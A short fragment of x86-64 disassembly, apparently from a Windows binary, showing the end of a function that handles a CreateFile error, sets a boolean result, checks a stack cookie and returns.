jmp 0x14003cb69
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateFile
call fcn.140016366
xor eax, eax
jmp 0x14003cb90
mov eax, dword [rbp + 0x130]
cmp dword [rbp + 0x24], eax
jne 0x14003cb80
mov dword [rbp + 0xf4], 1
jmp 0x14003cb8a
mov dword [rbp + 0xf4], 0
mov eax, dword [rbp + 0xf4]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14005fcd0]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret